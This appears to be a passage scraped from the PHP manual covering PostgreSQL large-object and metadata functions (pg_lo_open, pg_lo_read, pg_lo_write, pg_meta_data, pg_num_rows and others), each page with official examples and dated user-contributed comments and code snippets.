INSERT INTO C1 ( ... ) ( SELECT * FROM C2);

we would return the id of the last inserted row.

For more info about PostgreSQL rules:
http://www.postgresql.org/docs/7.4/interactive/sql-createrule.html
julian at e2-media dot co dot nz 26-Aug-2003 08:21
The way I nuderstand it, each value is emitted by a sequence only ONCE. If you retrieve a number (say 12) from a sequence using nextval(), the sequence will advance and subsequent calls to nextval() will return further numbers (after 12) in the sequence.

This means that if you use nextval() to retrieve a value to use as a primary key, you can be guaranteed that no other calls to nextval() on that sequence will return the same value. No race conditions, no transactions required.

That's what sequences are *for* afaik :^)
a dot bardsley at lancs dot ac dot uk 15-May-2003 08:23
As pointed out on a busy site some of the above methods might actually give you an incorrect answer as another record is inserted inbetween your insert  and the select. To combat this put it into a transaction and dont commit till you have done all the work
dtutar at yore dot com dot tr 26-Apr-2003 04:15
This is very useful function :)

function sql_last_inserted_id($connection, $result, $table_name, $column_name) {
   $oid = pg_last_oid ( $result);
       $query_for_id = "SELECT $column_name FROM $table_name WHERE oid=$oid";
   $result_for_id = pg_query($connection,$query_for_id);
   if(pg_num_rows($result_for_id))
      $id=pg_fetch_array($result_for_id,0,PGSQL_ASSOC);
   return $id[$column_name];
}

Call after insert, simply ;)
webmaster at gamecrash dot net 03-Mar-2003 03:29
You could use this to get the last insert id...

CREATE TABLE test (
  id serial,
  something int not null
);

This creates the sequence test_id_seq. Now do the following after inserting something into table test:

INSERT INTO test (something) VALUES (123);
SELECT currval('test_id_seq') AS lastinsertid;

lastinsertid should contain your last insert id.


Close a large object

  • « pg_last_oid
  • pg_lo_create »
  • PHP Manual
  • PostgreSQL Functions
  • Close a large object

pg_lo_close

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_close — Close a large object

Description

bool pg_lo_close ( resource $large_object )

pg_lo_close() closes a large object. large_object is a resource for the large object from pg_lo_open().

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_loclose().

Parameters

result

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_lo_close() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   echo "$oid\n";
   $handle = pg_lo_open($database, $oid, "w");
   echo "$handle\n";
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_query($database, "commit");
?>

See Also

  • pg_lo_open() - Open a large object
  • pg_lo_create() - Create a large object
  • pg_lo_import() - Import a large object from file

User Contributed Notes

There are no user contributed notes for this page.


Create a large object

  • « pg_lo_close
  • pg_lo_export »
  • PHP Manual
  • PostgreSQL Functions
  • Create a large object

pg_lo_create

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_create — Create a large object

Description

int pg_lo_create ([ resource $connection [, mixed $object_id ]] )
int pg_lo_create ( mixed $object_id )

pg_lo_create() creates a large object and returns the OID of the large object. PostgreSQL access modes INV_READ, INV_WRITE, and INV_ARCHIVE are not supported, the object is created always with both read and write access. INV_ARCHIVE has been removed from PostgreSQL itself (version 6.3 and above).

To use the large object interface, it is necessary to enclose it within a transaction block.

Instead of using the large object interface (which has no access controls and is cumbersome to use), try PostgreSQL's bytea column type and pg_escape_bytea().

Note:

This function used to be called pg_locreate().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

object_id

If an object_id is given the function will try to create a large object with this id, else a free object id is assigned by the server. The parameter was added in PHP 5.3 and relies on functionality that first appeared in PostgreSQL 8.1.

Return Values

A large object OID or FALSE on error.

Changelog

Version | Description
5.3.0 | The optional object_id was added.

Examples

Example #1 pg_lo_create() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   echo "$oid\n";
   $handle = pg_lo_open($database, $oid, "w");
   echo "$handle\n";
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_query($database, "commit");
?>

User Contributed Notes

andrea dot galli at acotel dot com 05-May-2003 07:21
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>


Export a large object to file

  • « pg_lo_create
  • pg_lo_import »
  • PHP Manual
  • PostgreSQL Functions
  • Export a large object to file

pg_lo_export

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_export — Export a large object to file

Description

bool pg_lo_export ([ resource $connection ], int $oid , string $pathname )

pg_lo_export() takes a large object in a PostgreSQL database and saves its contents to a file on the local filesystem.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_loexport().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

oid

The OID of the large object in the database.

pathname

The full path and file name of the file in which to write the large object on the client filesystem.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_lo_export() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   $handle = pg_lo_open($database, $oid, "w");
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_lo_export($database, $oid, '/tmp/lob.dat');
   pg_query($database, "commit");
?>

See Also

  • pg_lo_import() - Import a large object from file

User Contributed Notes

There are no user contributed notes for this page.


Import a large object from file

  • « pg_lo_export
  • pg_lo_open »
  • PHP Manual
  • PostgreSQL Functions
  • Import a large object from file

pg_lo_import

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_import — Import a large object from file

Description

int pg_lo_import ([ resource $connection ], string $pathname [, mixed $object_id ] )

pg_lo_import() creates a new large object in the database using a file on the filesystem as its data source.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

Note:

This function used to be called pg_loimport().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

pathname

The full path and file name of the file on the client filesystem from which to read the large object data.

object_id

If an object_id is given the function will try to create a large object with this id, else a free object id is assigned by the server. The parameter was added in PHP 5.3 and relies on functionality that first appeared in PostgreSQL 8.1.

Return Values

The OID of the newly created large object, or FALSE on failure.

Changelog

Version | Description
5.3.0 | The optional object_id was added.

Examples

Example #1 pg_lo_import() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_import($database, '/tmp/lob.dat');
   pg_query($database, "commit");
?>

See Also

  • pg_lo_export() - Export a large object to file
  • pg_lo_open() - Open a large object

User Contributed Notes

vi2 at vi2 dot com 02-Aug-2002 02:54
its not very clear if pg_lo_import needs to have pg_lo_open called first. Because pg_lo_import handles the process of writign to the file, it seems logical that pg_lo_open does not need to be called. However due to the ugly nature of how postgres handles oid objects, it would be nice to have this documented.
yohgaki at php dot net 19-Jun-2002 03:04
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net 19-Jun-2002 03:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net 15-May-2002 08:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason


Open a large object

  • « pg_lo_import
  • pg_lo_read_all »
  • PHP Manual
  • PostgreSQL Functions
  • Open a large object

pg_lo_open

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_open — Open a large object

Description

resource pg_lo_open ( resource $connection , int $oid , string $mode )

pg_lo_open() opens a large object in the database and returns large object resource so that it can be manipulated.

Warning

Do not close the database connection before closing the large object resource.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_loopen().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

oid

The OID of the large object in the database.

mode

Can be either "r" for read-only, "w" for write only or "rw" for read and write.

Return Values

A large object resource or FALSE on error.

Examples

Example #1 pg_lo_open() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   echo "$oid\n";
   $handle = pg_lo_open($database, $oid, "w");
   echo "$handle\n";
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_query($database, "commit");
?>

See Also

  • pg_lo_close() - Close a large object
  • pg_lo_create() - Create a large object

User Contributed Notes

metator at netcabo dot pt 29-Aug-2005 08:15
Just for the record, a user must be a superuser (database owner) in order to invoke pg_lo_open() (though pg_lo_create() may be invoked...). This opens a gigantic security hole in the db. If a user is not a superuser, db will raise an error with message "Can't create Large Object.".
Thus, imho, one should use pg_escape_bytea() instead.


Reads an entire large object and send straight to browser

  • « pg_lo_open
  • pg_lo_read »
  • PHP Manual
  • PostgreSQL Functions
  • Reads an entire large object and send straight to browser

pg_lo_read_all

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_read_all — Reads an entire large object and send straight to browser

Description

int pg_lo_read_all ( resource $large_object )

pg_lo_read_all() reads a large object and passes it straight through to the browser after sending all pending headers. Mainly intended for sending binary data like images or sound.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_loreadall().

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

Return Values

Number of bytes read or FALSE on error.

Examples

Example #1 pg_lo_read_all() example

<?php
   header('Content-type: image/jpeg');
   $image_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $image_oid, "r");
   pg_lo_read_all($handle);
   pg_query($database, "commit");
?>

See Also

  • pg_lo_read() - Read a large object

User Contributed Notes

fabar2 at libero dot it 08-Oct-2011 05:36
Pay attention that if you omit the "length" parameter it will read a 8192 bytes object regardless to its real dimensions. If you want to use this function think to save the object size somewhere (usually a field in its table) before reading the object. Alternatively use the pg_lo_readall function.
robert dot bernier5 at sympatico dot ca 24-Sep-2004 04:45
// remember, large objects must be obtained from within a transaction
pg_query ($dbconn, "begin");

// "assume" for this example that the large object resource number of the zipped file is "17899"

$lo_oid = 17899;

$handle_lo = pg_lo_open($dbconn,$lo_oid,"r") or die("<h1>Error.. can't get handle</h1>");

//headers to send to the browser before beginning the binary download
header('Accept-Ranges: bytes');
header('Content-Length: 32029974'); //this is the size of the zipped file
header('Keep-Alive: timeout=15, max=100');
header('Content-type: Application/x-zip');
header('Content-Disposition: attachment; filename="superjob.zip"');

pg_lo_read_all($handle_lo) or
  die("<h1>Error, can't read large object.</h1>");

// committing the data transaction
pg_query ($dbconn, "commit");


Read a large object

  • « pg_lo_read_all
  • pg_lo_seek »
  • PHP Manual
  • PostgreSQL Functions
  • Read a large object

pg_lo_read

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_read — Read a large object

Description

string pg_lo_read ( resource $large_object [, int $len = 8192 ] )

pg_lo_read() reads at most len bytes from a large object and returns it as a string.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_loread().

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

len

An optional maximum number of bytes to return.

Return Values

A string containing len bytes from the large object, or FALSE on error.

Examples

Example #1 pg_lo_read() example

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   $data = pg_lo_read($handle, 50000);
   pg_query($database, "commit");
   echo $data;
?>

See Also

  • pg_lo_read_all() - Reads an entire large object and send straight to browser

User Contributed Notes

bobahspb at gmail dot com 22-Aug-2011 12:43
Be careful: pg_lo_export() create empty file without "begin"/"end".
See docs: "...it is necessary to enclose it within a transaction block..."


Seeks position within a large object

  • « pg_lo_read
  • pg_lo_tell »
  • PHP Manual
  • PostgreSQL Functions
  • Seeks position within a large object

pg_lo_seek

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_seek — Seeks position within a large object

Description

bool pg_lo_seek ( resource $large_object , int $offset [, int $whence = PGSQL_SEEK_CUR ] )

pg_lo_seek() seeks a position within a large object resource.

To use the large object interface, it is necessary to enclose it within a transaction block.

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

offset

The number of bytes to seek.

whence

One of the constants PGSQL_SEEK_SET (seek from object start), PGSQL_SEEK_CUR (seek from current position) or PGSQL_SEEK_END (seek from object end) .

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_lo_seek() example

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   // Skip first 50000 bytes
   pg_lo_seek($handle, 50000, PGSQL_SEEK_SET);
   // Read the next 10000 bytes
   $data = pg_lo_read($handle, 10000);
   pg_query($database, "commit");
   echo $data;
?>

Changelog

Version | Description
5.6.0 | Added PostgreSQL 9.3's 64bit large object support. Both client and server must support PostgreSQL 9.3 and PHP must be 64bit build to use 64bit large object.

See Also

  • pg_lo_tell() - Returns current seek position a of large object

User Contributed Notes

There are no user contributed notes for this page.


Returns current seek position a of large object

  • « pg_lo_seek
  • pg_lo_truncate »
  • PHP Manual
  • PostgreSQL Functions
  • Returns current seek position a of large object

pg_lo_tell

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_tell — Returns current seek position a of large object

Description

int pg_lo_tell ( resource $large_object )

pg_lo_tell() returns the current position (offset from the beginning) of a large object.

To use the large object interface, it is necessary to enclose it within a transaction block.

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

Return Values

The current seek offset (in number of bytes) from the beginning of the large object. If there is an error, the return value is negative.

Examples

Example #1 pg_lo_tell() example

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   // Skip first 50000 bytes
   pg_lo_seek($handle, 50000, PGSQL_SEEK_SET);
   // See how far we've skipped
   $offset = pg_lo_tell($handle);
   echo "Seek position is: $offset";
   pg_query($database, "commit");
?>

The above example will output:

Seek position is: 50000

Changelog

Version | Description
5.6.0 | Added PostgreSQL 9.3's 64bit large object support. Both client and server must support PostgreSQL 9.3 and PHP must be 64bit build to use 64bit large object.

See Also

  • pg_lo_seek() - Seeks position within a large object

User Contributed Notes

Marv-CZ 16-Nov-2010 07:26
Function to take a large object size:

<?php
function pg_lo_size ($lo) {
  $pos = pg_lo_tell ($lo);
  pg_lo_seek ($lo, 0, PGSQL_SEEK_END);
  $size = pg_lo_tell ($lo);
  pg_lo_seek ($lo, $pos, PGSQL_SEEK_SET);
  return $size;
}
?>


Truncates a large object

  • « pg_lo_tell
  • pg_lo_unlink »
  • PHP Manual
  • PostgreSQL Functions
  • Truncates a large object

pg_lo_truncate

(No version information available, might only be in Git)

pg_lo_truncate — Truncates a large object

Description

bool pg_lo_truncate ( resource $large_object , int $size )

pg_lo_truncate() truncates a large object resource.

To use the large object interface, it is necessary to enclose it within a transaction block.

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

size

The number of bytes to truncate.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_lo_truncate() example

<?php
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "r");
   // Truncate to 0
   pg_lo_truncate($handle, 0);
   pg_query($database, "commit");
   echo $data;
?>

Changelog

Version | Description
5.6.0 | Added truncate function. It supports PostgreSQL 9.3's 64bit large object. Both client and server must support PostgreSQL 9.3 and PHP must be 64bit build to use 64bit large object.

See Also

  • pg_lo_tell() - Returns current seek position a of large object

User Contributed Notes

There are no user contributed notes for this page.


Delete a large object

  • « pg_lo_truncate
  • pg_lo_write »
  • PHP Manual
  • PostgreSQL Functions
  • Delete a large object

pg_lo_unlink

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_unlink — Delete a large object

Description

bool pg_lo_unlink ( resource $connection , int $oid )

pg_lo_unlink() deletes a large object with the oid. Returns TRUE on success or FALSE on failure.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_lounlink().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

oid

The OID of the large object in the database.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_lo_unlink() example

<?php
   // OID of the large object to delete
   $doc_oid = 189762345;
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   pg_lo_unlink($database, $doc_oid);
   pg_query($database, "commit");
?>

See Also

  • pg_lo_create() - Create a large object
  • pg_lo_import() - Import a large object from file

User Contributed Notes

nospam at elzorro dot nl 14-Apr-2003 02:21
This function used to be called pg_lounlink() and not pg_lo_unlink()


Write to a large object

  • « pg_lo_unlink
  • pg_meta_data »
  • PHP Manual
  • PostgreSQL Functions
  • Write to a large object

pg_lo_write

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_write — Write to a large object

Description

int pg_lo_write ( resource $large_object , string $data [, int $len ] )

pg_lo_write() writes data into a large object at the current seek position.

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_lowrite().

Parameters

large_object

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

data

The data to be written to the large object. If len is specified and is less than the length of data, only len bytes will be written.

len

An optional maximum number of bytes to write. Must be greater than zero and no greater than the length of data. Defaults to the length of data.

Return Values

The number of bytes written to the large object, or FALSE on error.

Examples

Example #1 pg_lo_write() example

<?php
   $doc_oid = 189762345;
   $data = "This will overwrite the start of the large object.";
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $handle = pg_lo_open($database, $doc_oid, "w");
   $data = pg_lo_write($handle, $data);
   pg_query($database, "commit");
?>

See Also

  • pg_lo_create() - Create a large object
  • pg_lo_open() - Open a large object

User Contributed Notes

nandrews at logictree dot co dot uk 05-Jun-2003 05:17
Using php 4.3.0 and PostgreSQL 7.3.1

I can write a simple script in which pg_lo_write seems to always return 1 and not the number of bytes written, as evidenced by extracting the data through another means.

Further more, I can make this pg_lo_write fail, or at least fail to write all the data it's pretty difficult to tell without the number of bytes written being returned, and not return the false value. In addition to this, the lo resource has been adjusted so that the oid it contains is 0.

Unfortunately, I do not know what exactly the failure mode is, it does seem to be in the ip network communication side of PostgreSQL, which is odd since the unix domain comms works fine for this. However, it would have been useful to have the pg_lo_write() function return as advertised, it would have saved some of the 2 man hours me and the dev. team put into diagnosing this problem.
cedric at isoca.com 27-Apr-2001 02:26
Be aware when you modify a lo with pg_lowrite() to remove first the old one : if the new lo is smaller than the one before, it only overwrite the begining and you keep the end of the old lo (open with "w" parameter, PHP 4.04 Linux RH).


Get meta data for table

  • « pg_lo_write
  • pg_num_fields »
  • PHP Manual
  • PostgreSQL Functions
  • Get meta data for table

pg_meta_data

(PHP 4 >= 4.3.0, PHP 5)

pg_meta_data — Get meta data for table

Description

array pg_meta_data ( resource $connection , string $table_name [, bool $extended ] )

pg_meta_data() returns table definition for table_name as an array.

Parameters

connection

PostgreSQL database connection resource.

table_name

The name of the table.

extended

Flag for returning extended meta data. Default to FALSE.

Return Values

An array of the table definition, or FALSE on error.

Examples

Example #1 Getting table metadata

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  $meta = pg_meta_data($dbconn, 'authors');
  if (is_array($meta)) {
      echo '<pre>';
      var_dump($meta);
      echo '</pre>';
  }
?>

The above example will output:

array(3) {
["author"]=>
array(5) {
  ["num"]=>
  int(1)
  ["type"]=>
  string(7) "varchar"
  ["len"]=>
  int(-1)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
["year"]=>
array(5) {
  ["num"]=>
  int(2)
  ["type"]=>
  string(4) "int2"
  ["len"]=>
  int(2)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
["title"]=>
array(5) {
  ["num"]=>
  int(3)
  ["type"]=>
  string(7) "varchar"
  ["len"]=>
  int(-1)
  ["not null"]=>
  bool(false)
  ["has default"]=>
  bool(false)
}
}

Changelog

Version | Description
5.6.0 | No longer experimental. Added "is enum" as default attribute. extended flag is added.

See Also

  • pg_convert() - Convert associative array values into suitable for SQL statement

User Contributed Notes

jsnell at e-normous dot com 13-Nov-2007 12:24
The built in function does not provide any support for selecting a schema.  If you need schema support and do not want to alter your SEARCH_PATH, the following function can provide it:

 function meta_data($table, $schema = 'public')
    {
$result = pg_query_params("SELECT a.attname, a.attnum, t.typname, a.attlen, a.attnotNULL, a.atthasdef, a.attndims
FROM pg_class as c, pg_attribute a, pg_type t, pg_namespace n
WHERE a.attnum > 0
AND a.attrelid = c.oid
AND c.relname = $1
AND a.atttypid = t.oid
AND n.oid = c.relnamespace
AND n.nspname = $2
ORDER BY a.attnum", array($table, $schema));
$fields = array();
while($row = pg_fetch_array()) {
$fields['attname'] = $row;
}
        return $fields;
    }
yarnofmoo at gmail dot com 27-Jun-2007 05:32
You can get some possibly more useful information with the query:

SELECT table_name, column_name, data_type, character_maximum_length FROM information_schema.columns WHERE table_name='tablename';
rburghol at vt dot edu 24-Jun-2005 03:37
When querying on meta data from a temp table, the meta data seems to persist even if a fresh connection is established, where the temp table no longer exists.

 For example, if you create a connection and a temp table like so:
$dbconn1 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);
pg_exec($dbconn1,'create temp table foo as select 'foo' as namecol, 'bar' as valcol');

Then create a new connection

$dbconn2 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);

And query the meta data for table 'foo' in this new connection, it will report the facts about this table:
pg_meta_data($dbconn2,'foo');

"'Array ( [foo] => Array ( [num] => 1 [type] => varchar... "

However, trying to remove this table:
pg_exec($dbconn,'drop table foo');

Throws an error:
pg_exec(): Query failed: ERROR: table "foo" does not exist in ...
dmiller at NOSPAM dot judcom dot nsw dot gov dot au 18-Jun-2003 10:31
This function seems to be case-sensitive on tablename (php-4.3.1)

The Array returned is of the following structure
['field name'] => Array
   (
     ['num'] => Field number starting at 1
     ['type'] => data type, eg varchar, int4
     ['len'] => internal storage size of field. -1 for varying
     ['not null'] => boolean
     ['has default'] => boolean
   )
     ......

for Varied size datatypes (varchar, text, etc)
you can get the max data length from the system table pg_attribute.atttypmod -4
eg.
select attnum, attname , atttypmod -4 as field_len
from pg_attribute, pg_class
where relname='$tablename'
and attrelid=relfilenode
and attnum>=1


Returns the number of fields in a result

  • « pg_meta_data
  • pg_num_rows »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the number of fields in a result

pg_num_fields

(PHP 4 >= 4.2.0, PHP 5)

pg_num_fields — Returns the number of fields in a result

Description

int pg_num_fields ( resource $result )

pg_num_fields() returns the number of fields (columns) in a PostgreSQL result resource.

Note:

This function used to be called pg_numfields().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

The number of fields (columns) in the result. On error, -1 is returned.

Examples

Example #1 pg_num_fields() example

<?php
$result = pg_query($conn, "SELECT 1, 2");

$num = pg_num_fields($result);

echo $num . " field(s) returned.\n";
?>

The above example will output:

2 field(s) returned.

See Also

  • pg_num_rows() - Returns the number of rows in a result
  • pg_affected_rows() - Returns number of affected records (tuples)

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 10:02
Here is a simple example for using pg_num_feilds, pg_num_rows and pg_result together.  I'm simply SELECTing * from a table named markie on the current pg_connect().

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if (!$pgsql_conn) {
        print pg_last_error($pgsql_conn);
        exit;
    }

    $results = pg_query($pgsql_conn, "SELECT * FROM markie");

    echo "<table border=1>\n";
    for($lt = 0; $lt < pg_num_rows($results); $lt++) {
        echo "<tr>\n";
        for($gt = 0; $gt < pg_num_fields($results); $gt++) {
            echo "<td>" . pg_result($results, $lt, $gt) . "</td>\n";
        }
        echo "</tr>\n";
    }
    echo "</table>\n";

    pg_close($pgsql_conn);
?>

This code snippet will print out the rows and columns into a HTML table.

Regards,  --mark


Returns the number of rows in a result

  • « pg_num_fields
  • pg_options »
  • PHP Manual
  • PostgreSQL Functions
  • Returns the number of rows in a result

pg_num_rows

(PHP 4 >= 4.2.0, PHP 5)

pg_num_rows — Returns the number of rows in a result

Description

int pg_num_rows ( resource $result )

pg_num_rows() will return the number of rows in a PostgreSQL result resource.

Note:

This function used to be called pg_numrows().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

The number of rows in the result. On error, -1 is returned.

Examples

Example #1 pg_num_rows() example

<?php
$result = pg_query($conn, "SELECT 1");

$rows = pg_num_rows($result);

echo $rows . " row(s) returned.\n";
?>

The above example will output:

1 row(s) returned.

See Also

  • pg_num_fields() - Returns the number of fields in a result
  • pg_affected_rows() - Returns number of affected records (tuples)

User Contributed Notes

strata_ranger at hotmail dot com 10-May-2009 07:06
As mentioned, if you are performing an INSERT/UPDATE or DELETE query and want to know the # of rows affected, you should use pg_affected_rows() instead of pg_num_rows().

However, you can also exploit postgres's RETURNING clause in your query to auto-select columns from the affected rows.  This has the advantage of being able to tell not only how many rows a query affects, but exactly which rows those were, especially if you return a primary-key column.

For example:

<?php

// Example query.  Let's say that this updates five rows in the source table.
$res = pg_query("Update foo set bar = 'new data' where foo.bar = 'old data' ");
pg_num_rows($res); // 0
pg_affected_rows($res); // 5
pg_fetch_all($res); // FALSE

// Same query, with a RETURNING clause.
$res = pg_query("Update foo set bar = 'new data' where foo.bar = 'old data' RETURNING foo.pkey");
pg_num_rows($res); // 5
pg_affected_rows($res); // 5
pg_fetch_all($res); // Multidimensional array corresponding to our affected rows & returned columns
?>
ElDiablo 06-Oct-2008 04:09
About preceding note, you shouldn't use pg_num_rows() for this.
You should have instead a look at pg_affected_rows().
francisco at natserv dot com 07-Jan-2008 05:26
Not sure why this documentation doesn't have the following note:
Note: Use pg_affected_rows() to get number of rows affected by INSERT, UPDATE and DELETE query.

Found on other resources. Adding here in case someone else is looking for the info.


Get the options associated with the connection

  • « pg_num_rows
  • pg_parameter_status »
  • PHP Manual
  • PostgreSQL Functions
  • Get the options associated with the connection

pg_options

(PHP 4, PHP 5)

pg_options — Get the options associated with the connection

Description

string pg_options ([ resource $connection ] )

pg_options() will return a string containing the options specified on the given PostgreSQL connection resource.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

A string containing the connection options, or FALSE on error.

Examples

Example #1 pg_options() example

<?php
   $pgsql_conn = pg_connect("dbname=mark host=localhost");
   echo pg_options($pgsql_conn);
?>

See Also

  • pg_connect() - Open a PostgreSQL connection

User Contributed Notes

Robert Treat <xzilla at sourceforge> 01-Jan-2005 05:07
Apparently this function does not return the database name given in the connection string.  I tried this on apache 2.x/php4.3.x/pg7.4.x and apache 1.3.x/php5.x/pg8rc1 and saw this behavior on both setups.


Looks up a current parameter setting of the server.

  • « pg_options
  • pg_pconnect »
  • PHP Manual
  • PostgreSQL Functions
  • Looks up a current parameter setting of the server.

pg_parameter_status

(PHP 5)

pg_parameter_status — Looks up a current parameter setting of the server.

Description

string pg_parameter_status ([ resource $connection ], string $param_name )

Looks up a current parameter setting of the server.

Certain parameter values are reported by the server automatically at connection startup or whenever their values change. pg_parameter_status() can be used to interrogate these settings. It returns the current value of a parameter if known, or FALSE if the parameter is not known.

Parameters reported as of PostgreSQL 8.0 include server_version, server_encoding, client_encoding, is_superuser, session_authorization, DateStyle, TimeZone, and integer_datetimes. (server_encoding, TimeZone, and integer_datetimes were not reported by releases before 8.0.) Note that server_version, server_encoding and integer_datetimes cannot change after PostgreSQL startup.

PostgreSQL 7.3 or lower servers do not report parameter settings, pg_parameter_status() includes logic to obtain values for server_version and client_encoding anyway. Applications are encouraged to use pg_parameter_status() rather than ad hoc code to determine these values.

Caution

On a pre-7.4 PostgreSQL server, changing client_encoding via SET after connection startup will not be reflected by pg_parameter_status().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

param_name

Possible param_name values include server_version, server_encoding, client_encoding, is_superuser, session_authorization, DateStyle, TimeZone, and integer_datetimes.

Return Values

A string containing the value of the parameter, FALSE on failure or invalid param_name.

Examples

Example #1 pg_parameter_status() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  echo "Server encoding: ", pg_parameter_status($dbconn, "server_encoding");
?>

The above example will output:

Server encoding: SQL_ASCII

